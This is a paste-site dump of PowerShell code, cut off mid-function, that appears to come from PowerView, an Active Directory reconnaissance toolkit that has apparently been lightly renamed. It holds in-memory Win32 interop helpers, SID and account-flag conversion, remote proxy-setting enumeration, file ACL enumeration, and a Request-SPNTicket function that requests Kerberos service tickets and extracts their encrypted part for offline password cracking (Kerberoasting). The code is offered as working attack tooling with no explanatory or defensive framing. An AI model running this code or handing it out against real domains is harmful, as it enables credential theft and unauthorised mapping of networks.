· 6 years ago · Nov 25, 2019, 01:26 PM
1function New-InMemoryModule
2{
3 Param
4 (
5 [Parameter(Position = 0)]
6 [ValidateNotNullOrEmpty()]
7 [String]
8 $ModuleName = [Guid]::NewGuid().ToString()
9 )
10
11 $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
12
13 ForEach ($Assembly in $LoadedAssemblies) {
14 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
15 return $Assembly
16 }
17 }
18
19 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
20 $Domain = [AppDomain]::CurrentDomain
21 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
22 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
23
24 return $ModuleBuilder
25}
26
27
28
29
30function func
31{
32 Param
33 (
34 [Parameter(Position = 0, Mandatory = $True)]
35 [String]
36 $DllName,
37
38 [Parameter(Position = 1, Mandatory = $True)]
39 [String]
40 $FunctionName,
41
42 [Parameter(Position = 2, Mandatory = $True)]
43 [Type]
44 $ReturnType,
45
46 [Parameter(Position = 3)]
47 [Type[]]
48 $ParameterTypes,
49
50 [Parameter(Position = 4)]
51 [Runtime.InteropServices.CallingConvention]
52 $NativeCallingConvention,
53
54 [Parameter(Position = 5)]
55 [Runtime.InteropServices.CharSet]
56 $Charset,
57
58 [Switch]
59 $SetLastError
60 )
61
62 $Properties = @{
63 DllName = $DllName
64 FunctionName = $FunctionName
65 ReturnType = $ReturnType
66 }
67
68 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
69 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
70 if ($Charset) { $Properties['Charset'] = $Charset }
71 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
72
73 New-Object PSObject -Property $Properties
74}
75
76
77function Add-Win32Type
78{
79 [OutputType([Hashtable])]
80 Param(
81 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
82 [String]
83 $DllName,
84
85 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
86 [String]
87 $FunctionName,
88
89 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
90 [Type]
91 $ReturnType,
92
93 [Parameter(ValueFromPipelineByPropertyName = $True)]
94 [Type[]]
95 $ParameterTypes,
96
97 [Parameter(ValueFromPipelineByPropertyName = $True)]
98 [Runtime.InteropServices.CallingConvention]
99 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
100
101 [Parameter(ValueFromPipelineByPropertyName = $True)]
102 [Runtime.InteropServices.CharSet]
103 $Charset = [Runtime.InteropServices.CharSet]::Auto,
104
105 [Parameter(ValueFromPipelineByPropertyName = $True)]
106 [Switch]
107 $SetLastError,
108
109 [Parameter(Mandatory = $True)]
110 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
111 $Module,
112
113 [ValidateNotNull()]
114 [String]
115 $Namespace = ''
116 )
117
118 BEGIN
119 {
120 $TypeHash = @{}
121 }
122
123 PROCESS
124 {
125 if ($Module -is [Reflection.Assembly])
126 {
127 if ($Namespace)
128 {
129 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
130 }
131 else
132 {
133 $TypeHash[$DllName] = $Module.GetType($DllName)
134 }
135 }
136 else
137 {
138
139 if (!$TypeHash.ContainsKey($DllName))
140 {
141 if ($Namespace)
142 {
143 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
144 }
145 else
146 {
147 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
148 }
149 }
150
151 $Method = $TypeHash[$DllName].DefineMethod(
152 $FunctionName,
153 'Public,Static,PinvokeImpl',
154 $ReturnType,
155 $ParameterTypes)
156
157
158 $i = 1
159 ForEach($Parameter in $ParameterTypes)
160 {
161 if ($Parameter.IsByRef)
162 {
163 [void] $Method.DefineParameter($i, 'Out', $Null)
164 }
165
166 $i++
167 }
168
169 $DllImport = [Runtime.InteropServices.DllImportAttribute]
170 $SetLastErrorField = $DllImport.GetField('SetLastError')
171 $CallingConventionField = $DllImport.GetField('CallingConvention')
172 $CharsetField = $DllImport.GetField('CharSet')
173 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
174
175
176 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
177 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
178 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
179 [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
180 [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
181
182 $Method.SetCustomAttribute($DllImportAttribute)
183 }
184 }
185
186 END
187 {
188 if ($Module -is [Reflection.Assembly])
189 {
190 return $TypeHash
191 }
192
193 $ReturnTypes = @{}
194
195 ForEach ($Key in $TypeHash.Keys)
196 {
197 $Type = $TypeHash[$Key].CreateType()
198
199 $ReturnTypes[$Key] = $Type
200 }
201
202 return $ReturnTypes
203 }
204}
205
206
207function psenum
208{
209 [OutputType([Type])]
210 Param
211 (
212 [Parameter(Position = 0, Mandatory = $True)]
213 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
214 $Module,
215
216 [Parameter(Position = 1, Mandatory = $True)]
217 [ValidateNotNullOrEmpty()]
218 [String]
219 $FullName,
220
221 [Parameter(Position = 2, Mandatory = $True)]
222 [Type]
223 $Type,
224
225 [Parameter(Position = 3, Mandatory = $True)]
226 [ValidateNotNullOrEmpty()]
227 [Hashtable]
228 $EnumElements,
229
230 [Switch]
231 $Bitfield
232 )
233
234 if ($Module -is [Reflection.Assembly])
235 {
236 return ($Module.GetType($FullName))
237 }
238
239 $EnumType = $Type -as [Type]
240
241 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
242
243 if ($Bitfield)
244 {
245 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
246 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
247 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
248 }
249
250 ForEach ($Key in $EnumElements.Keys)
251 {
252
253 $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
254 }
255
256 $EnumBuilder.CreateType()
257}
258
259
260
261function field
262{
263 Param
264 (
265 [Parameter(Position = 0, Mandatory = $True)]
266 [UInt16]
267 $Position,
268
269 [Parameter(Position = 1, Mandatory = $True)]
270 [Type]
271 $Type,
272
273 [Parameter(Position = 2)]
274 [UInt16]
275 $Offset,
276
277 [Object[]]
278 $MarshalAs
279 )
280
281 @{
282 Position = $Position
283 Type = $Type -as [Type]
284 Offset = $Offset
285 MarshalAs = $MarshalAs
286 }
287}
288
289
290function struct
291{
292
293
294 [OutputType([Type])]
295 Param
296 (
297 [Parameter(Position = 1, Mandatory = $True)]
298 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
299 $Module,
300
301 [Parameter(Position = 2, Mandatory = $True)]
302 [ValidateNotNullOrEmpty()]
303 [String]
304 $FullName,
305
306 [Parameter(Position = 3, Mandatory = $True)]
307 [ValidateNotNullOrEmpty()]
308 [Hashtable]
309 $StructFields,
310
311 [Reflection.Emit.PackingSize]
312 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
313
314 [Switch]
315 $ExplicitLayout
316 )
317
318 if ($Module -is [Reflection.Assembly])
319 {
320 return ($Module.GetType($FullName))
321 }
322
323 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
324 Class,
325 Public,
326 Sealed,
327 BeforeFieldInit'
328
329 if ($ExplicitLayout)
330 {
331 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
332 }
333 else
334 {
335 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
336 }
337
338 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
339 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
340 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
341
342 $Fields = New-Object Hashtable[]($StructFields.Count)
343
344
345
346
347 ForEach ($Field in $StructFields.Keys)
348 {
349 $Index = $StructFields[$Field]['Position']
350 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
351 }
352
353 ForEach ($Field in $Fields)
354 {
355 $FieldName = $Field['FieldName']
356 $FieldProp = $Field['Properties']
357
358 $Offset = $FieldProp['Offset']
359 $Type = $FieldProp['Type']
360 $MarshalAs = $FieldProp['MarshalAs']
361
362 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
363
364 if ($MarshalAs)
365 {
366 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
367 if ($MarshalAs[1])
368 {
369 $Size = $MarshalAs[1]
370 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
371 $UnmanagedType, $SizeConst, @($Size))
372 }
373 else
374 {
375 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
376 }
377
378 $NewField.SetCustomAttribute($AttribBuilder)
379 }
380
381 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
382 }
383
384
385
386 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
387 'Public, Static',
388 [Int],
389 [Type[]] @())
390 $ILGenerator = $SizeMethod.GetILGenerator()
391
392 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
393 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
394 [Type].GetMethod('GetTypeFromHandle'))
395 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
396 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
397 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
398
399
400
401 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
402 'PrivateScope, Public, Static, HideBySig, SpecialName',
403 $StructBuilder,
404 [Type[]] @([IntPtr]))
405 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
406 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
407 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
408 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
409 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
410 [Type].GetMethod('GetTypeFromHandle'))
411 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
412 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
413 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
414 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
415
416 $StructBuilder.CreateType()
417}
418filter Get-IniContent {
419
420 [CmdletBinding()]
421 Param(
422 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
423 [Alias('FullName')]
424 [ValidateScript({ Test-Path -Path $_ })]
425 [String[]]
426 $Path
427 )
428
429 ForEach($TargetPath in $Path) {
430 $IniObject = @{}
431 Switch -Regex -File $TargetPath {
432 "^\[(.+)\]"
433 {
434 $Section = $matches[1].Trim()
435 $IniObject[$Section] = @{}
436 $CommentCount = 0
437 }
438 "^(;.*)$"
439 {
440 $Value = $matches[1].Trim()
441 $CommentCount = $CommentCount + 1
442 $Name = 'Comment' + $CommentCount
443 $IniObject[$Section][$Name] = $Value
444 }
445 "(.+?)\s*=(.*)"
446 {
447 $Name, $Value = $matches[1..2]
448 $Name = $Name.Trim()
449 $Values = $Value.split(',') | ForEach-Object {$_.Trim()}
450 if($Values -isnot [System.Array]) {$Values = @($Values)}
451 $IniObject[$Section][$Name] = $Values
452 }
453 }
454 $IniObject
455 }
456}
457
458filter Export-ShaiViewCSV {
459
460 Param(
461 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
462 [System.Management.Automation.PSObject[]]
463 $InputObject,
464
465 [Parameter(Mandatory=$True, Position=0)]
466 [String]
467 [ValidateNotNullOrEmpty()]
468 $OutFile
469 )
470
471 $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation
472
473
474 $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
475 $Null = $Mutex.WaitOne()
476
477 if (Test-Path -Path $OutFile) {
478 $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
479 }
480 else {
481 $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
482 }
483
484 $Mutex.ReleaseMutex()
485}
486
487
488filter Get-IPAddress {
489 [CmdletBinding()]
490 param(
491 [Parameter(Position=0, ValueFromPipeline=$True)]
492 [Alias('HostName')]
493 [String]
494 $ComputerName = $Env:ComputerName
495 )
496
497 try {
498
499 $Computer = $ComputerName | Get-NameField
500
501
502 @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
503 if ($_.AddressFamily -eq 'InterNetwork') {
504 $Out = New-Object PSObject
505 $Out | Add-Member Noteproperty 'ComputerName' $Computer
506 $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
507 $Out
508 }
509 }
510 }
511 catch {
512 Write-Verbose -Message 'Could not resolve host to an IP Address.'
513 }
514}
515
516
517filter Convert-NameToSid {
518 [CmdletBinding()]
519 param(
520 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
521 [String]
522 [Alias('Name')]
523 $ObjectName,
524
525 [String]
526 $Domain
527 )
528
529 $ObjectName = $ObjectName -Replace "/","\"
530
531 if($ObjectName.Contains("\")) {
532
533 $Domain = $ObjectName.Split("\")[0]
534 $ObjectName = $ObjectName.Split("\")[1]
535 }
536 elseif(-not $Domain) {
537 $Domain = (Get-NetDomain).Name
538 }
539
540 try {
541 $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))
542 $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
543
544 $Out = New-Object PSObject
545 $Out | Add-Member Noteproperty 'ObjectName' $ObjectName
546 $Out | Add-Member Noteproperty 'SID' $SID
547 $Out
548 }
549 catch {
550 Write-Verbose "Invalid object/name: $Domain\$ObjectName"
551 $Null
552 }
553}
554
555
556filter Convert-SidToName {
557
558 [CmdletBinding()]
559 param(
560 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
561 [String]
562 [ValidatePattern('^S-1-.*')]
563 $SID
564 )
565
566 try {
567 $SID2 = $SID.trim('*')
568
569
570
571 Switch ($SID2) {
572 'S-1-0' { 'Null Authority' }
573 'S-1-0-0' { 'Nobody' }
574 'S-1-1' { 'World Authority' }
575 'S-1-1-0' { 'Everyone' }
576 'S-1-2' { 'Local Authority' }
577 'S-1-2-0' { 'Local' }
578 'S-1-2-1' { 'Console Logon ' }
579 'S-1-3' { 'Creator Authority' }
580 'S-1-3-0' { 'Creator Owner' }
581 'S-1-3-1' { 'Creator Group' }
582 'S-1-3-2' { 'Creator Owner Server' }
583 'S-1-3-3' { 'Creator Group Server' }
584 'S-1-3-4' { 'Owner Rights' }
585 'S-1-4' { 'Non-unique Authority' }
586 'S-1-5' { 'NT Authority' }
587 'S-1-5-1' { 'Dialup' }
588 'S-1-5-2' { 'Network' }
589 'S-1-5-3' { 'Batch' }
590 'S-1-5-4' { 'Interactive' }
591 'S-1-5-6' { 'Service' }
592 'S-1-5-7' { 'Anonymous' }
593 'S-1-5-8' { 'Proxy' }
594 'S-1-5-9' { 'Enterprise Domain Controllers' }
595 'S-1-5-10' { 'Principal Self' }
596 'S-1-5-11' { 'Authenticated Users' }
597 'S-1-5-12' { 'Restricted Code' }
598 'S-1-5-13' { 'Terminal Server Users' }
599 'S-1-5-14' { 'Remote Interactive Logon' }
600 'S-1-5-15' { 'This Organization ' }
601 'S-1-5-17' { 'This Organization ' }
602 'S-1-5-18' { 'Local System' }
603 'S-1-5-19' { 'NT Authority' }
604 'S-1-5-20' { 'NT Authority' }
605 'S-1-5-80-0' { 'All Services ' }
606 'S-1-5-32-544' { 'BUILTIN\Administrators' }
607 'S-1-5-32-545' { 'BUILTIN\Users' }
608 'S-1-5-32-546' { 'BUILTIN\Guests' }
609 'S-1-5-32-547' { 'BUILTIN\Power Users' }
610 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
611 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
612 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
613 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
614 'S-1-5-32-552' { 'BUILTIN\Replicators' }
615 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
616 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
617 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
618 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
619 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
620 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
621 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
622 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
623 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
624 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
625 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
626 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
627 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
628 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
629 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
630 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
631 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
632 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
633 Default {
634 $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))
635 $Obj.Translate( [System.Security.Principal.NTAccount]).Value
636 }
637 }
638 }
639 catch {
640 Write-Verbose "Invalid SID: $SID"
641 $SID
642 }
643}
644
645
646filter Convert-ADName {
647
648 [CmdletBinding()]
649 param(
650 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
651 [String]
652 $ObjectName,
653
654 [String]
655 [ValidateSet("NT4","Simple","Canonical")]
656 $InputType,
657
658 [String]
659 [ValidateSet("NT4","Simple","Canonical")]
660 $OutputType
661 )
662
663 $NameTypes = @{
664 'Canonical' = 2
665 'NT4' = 3
666 'Simple' = 5
667 }
668
669 if(-not $PSBoundParameters['InputType']) {
670 if( ($ObjectName.split('/')).Count -eq 2 ) {
671 $ObjectName = $ObjectName.replace('/', '\')
672 }
673
674 if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") {
675 $InputType = 'NT4'
676 }
677 elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {
678 $InputType = 'Simple'
679 }
680 elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") {
681 $InputType = 'Canonical'
682 }
683 else {
684 Write-Warning "Can not identify InType for $ObjectName"
685 return $ObjectName
686 }
687 }
688 elseif($InputType -eq 'NT4') {
689 $ObjectName = $ObjectName.replace('/', '\')
690 }
691
692 if(-not $PSBoundParameters['OutputType']) {
693 $OutputType = Switch($InputType) {
694 'NT4' {'Canonical'}
695 'Simple' {'NT4'}
696 'Canonical' {'NT4'}
697 }
698 }
699
700
701 $Domain = Switch($InputType) {
702 'NT4' { $ObjectName.split("\")[0] }
703 'Simple' { $ObjectName.split("@")[1] }
704 'Canonical' { $ObjectName.split("/")[0] }
705 }
706
707
708 function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
709 $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)
710 if ( $Output ) { $Output }
711 }
712 function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
713 [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)
714 }
715
716 $Translate = New-Object -ComObject NameTranslate
717
718 try {
719 Invoke-Method $Translate "Init" (1, $Domain)
720 }
721 catch [System.Management.Automation.MethodInvocationException] {
722 Write-Verbose "Error with translate init in Convert-ADName: $_"
723 }
724
725 Set-Property $Translate "ChaseReferral" (0x60)
726
727 try {
728 Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName)
729 (Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))
730 }
731 catch [System.Management.Automation.MethodInvocationException] {
732 Write-Verbose "Error with translate Set/Get in Convert-ADName: $_"
733 }
734}
735
736
737function ConvertFrom-UACValue {
738
739
740 [CmdletBinding()]
741 param(
742 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
743 $Value,
744
745 [Switch]
746 $ShowAll
747 )
748
749 begin {
750
751 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
752 $UACValues.Add("SCRIPT", 1)
753 $UACValues.Add("ACCOUNTDISABLE", 2)
754 $UACValues.Add("HOMEDIR_REQUIRED", 8)
755 $UACValues.Add("LOCKOUT", 16)
756 $UACValues.Add("PASSWD_NOTREQD", 32)
757 $UACValues.Add("PASSWD_CANT_CHANGE", 64)
758 $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
759 $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
760 $UACValues.Add("NORMAL_ACCOUNT", 512)
761 $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
762 $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
763 $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
764 $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
765 $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
766 $UACValues.Add("SMARTCARD_REQUIRED", 262144)
767 $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
768 $UACValues.Add("NOT_DELEGATED", 1048576)
769 $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
770 $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
771 $UACValues.Add("PASSWORD_EXPIRED", 8388608)
772 $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
773 $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
774 }
775
776 process {
777
778 $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
779
780 if($Value -is [Int]) {
781 $IntValue = $Value
782 }
783 elseif ($Value -is [PSCustomObject]) {
784 if($Value.useraccountcontrol) {
785 $IntValue = $Value.useraccountcontrol
786 }
787 }
788 else {
789 Write-Warning "Invalid object input for -Value : $Value"
790 return $Null
791 }
792
793 if($ShowAll) {
794 foreach ($UACValue in $UACValues.GetEnumerator()) {
795 if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
796 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
797 }
798 else {
799 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
800 }
801 }
802 }
803 else {
804 foreach ($UACValue in $UACValues.GetEnumerator()) {
805 if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
806 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
807 }
808 }
809 }
810 $ResultUACValues
811 }
812}
813
814
815filter Get-Proxy {
816
817 param(
818 [Parameter(ValueFromPipeline=$True)]
819 [ValidateNotNullOrEmpty()]
820 [String]
821 $ComputerName = $ENV:COMPUTERNAME
822 )
823
824 try {
825 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
826 $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
827 $ProxyServer = $RegKey.GetValue('ProxyServer')
828 $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')
829
830 $Wpad = ""
831 if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
832 try {
833 $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
834 }
835 catch {
836 Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"
837 }
838 }
839
840 if($ProxyServer -or $AutoConfigUrl) {
841
842 $Properties = @{
843 'ProxyServer' = $ProxyServer
844 'AutoConfigURL' = $AutoConfigURL
845 'Wpad' = $Wpad
846 }
847
848 New-Object -TypeName PSObject -Property $Properties
849 }
850 else {
851 Write-Warning "No proxy settings found for $ComputerName"
852 }
853 }
854 catch {
855 Write-Warning "Error enumerating proxy settings for $ComputerName : $_"
856 }
857}
858
859
860function Request-SPNTicket {
861
862 [CmdletBinding()]
863 Param (
864 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]
865 [Alias('ServicePrincipalName')]
866 [String[]]
867 $SPN,
868
869 [Alias('EncryptedPart')]
870 [Switch]
871 $EncPart
872 )
873
874 begin {
875 Add-Type -AssemblyName System.IdentityModel
876 }
877
878 process {
879 ForEach($UserSPN in $SPN) {
880 Write-Verbose "Requesting ticket for: $UserSPN"
881 if (!$EncPart) {
882 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
883 }
884 else {
885 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
886 $TicketByteStream = $Ticket.GetRequest()
887 if ($TicketByteStream)
888 {
889 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-"
890 [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201"
891 $Parts.RemoveAt($Parts.Count - 1)
892 $Parts -join "A48201"
893 break
894 }
895 }
896 }
897 }
898}
899
900
901function Get-PathAcl {
902
903 [CmdletBinding()]
904 param(
905 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
906 [String]
907 $Path,
908
909 [Switch]
910 $Recurse
911 )
912
913 begin {
914
915 function Convert-FileRight {
916
917
918
919 [CmdletBinding()]
920 param(
921 [Int]
922 $FSR
923 )
924
925 $AccessMask = @{
926 [uint32]'0x80000000' = 'GenericRead'
927 [uint32]'0x40000000' = 'GenericWrite'
928 [uint32]'0x20000000' = 'GenericExecute'
929 [uint32]'0x10000000' = 'GenericAll'
930 [uint32]'0x02000000' = 'MaximumAllowed'
931 [uint32]'0x01000000' = 'AccessSystemSecurity'
932 [uint32]'0x00100000' = 'Synchronize'
933 [uint32]'0x00080000' = 'WriteOwner'
934 [uint32]'0x00040000' = 'WriteDAC'
935 [uint32]'0x00020000' = 'ReadControl'
936 [uint32]'0x00010000' = 'Delete'
937 [uint32]'0x00000100' = 'WriteAttributes'
938 [uint32]'0x00000080' = 'ReadAttributes'
939 [uint32]'0x00000040' = 'DeleteChild'
940 [uint32]'0x00000020' = 'Execute/Traverse'
941 [uint32]'0x00000010' = 'WriteExtendedAttributes'
942 [uint32]'0x00000008' = 'ReadExtendedAttributes'
943 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
944 [uint32]'0x00000002' = 'WriteData/AddFile'
945 [uint32]'0x00000001' = 'ReadData/ListDirectory'
946 }
947
948 $SimplePermissions = @{
949 [uint32]'0x1f01ff' = 'FullControl'
950 [uint32]'0x0301bf' = 'Modify'
951 [uint32]'0x0200a9' = 'ReadAndExecute'
952 [uint32]'0x02019f' = 'ReadAndWrite'
953 [uint32]'0x020089' = 'Read'
954 [uint32]'0x000116' = 'Write'
955 }
956
957 $Permissions = @()
958
959
960 $Permissions += $SimplePermissions.Keys | % {
961 if (($FSR -band $_) -eq $_) {
962 $SimplePermissions[$_]
963 $FSR = $FSR -band (-not $_)
964 }
965 }
966
967
968 $Permissions += $AccessMask.Keys |
969 ? { $FSR -band $_ } |
970 % { $AccessMask[$_] }
971
972 ($Permissions | ?{$_}) -join ","
973 }
974 }
975
976 process {
977
978 try {
979 $ACL = Get-Acl -Path $Path
980
981 $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
982
983 $Names = @()
984 if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {
985 $Object = Get-ADObject -SID $_.IdentityReference
986 $Names = @()
987 $SIDs = @($Object.objectsid)
988
989 if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {
990 $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid
991 }
992
993 $SIDs | ForEach-Object {
994 $Names += ,@($_, (Convert-SidToName $_))
995 }
996 }
997 else {
998 $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))
999 }
1000
1001 ForEach($Name in $Names) {
1002 $Out = New-Object PSObject
1003 $Out | Add-Member Noteproperty 'Path' $Path
1004 $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
1005 $Out | Add-Member Noteproperty 'IdentityReference' $Name[1]
1006 $Out | Add-Member Noteproperty 'IdentitySID' $Name[0]
1007 $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
1008 $Out
1009 }
1010 }
1011 }
1012 catch {
